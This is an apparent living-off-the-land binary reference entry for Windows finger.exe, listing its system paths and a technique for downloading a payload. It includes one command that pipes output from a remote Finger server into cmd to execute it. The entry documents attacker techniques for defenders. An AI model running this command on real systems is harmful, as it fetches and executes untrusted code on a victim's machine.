Finger.exe

Displays information about a user or users on a specified remote computer that is running the Finger service or daemon

Paths

  • c:\windows\system32\finger.exe
  • c:\windows\syswow64\finger.exe

Commands

Download

Downloads payload from remote Finger server. This example connects to "example.host.com" asking for user "user"; the result could contain malicious shellcode which is executed by the cmd process.

Use case: Download malicious payload

Privileges: User

finger user@example.host.com | more +2 | cmd

Detection

Resources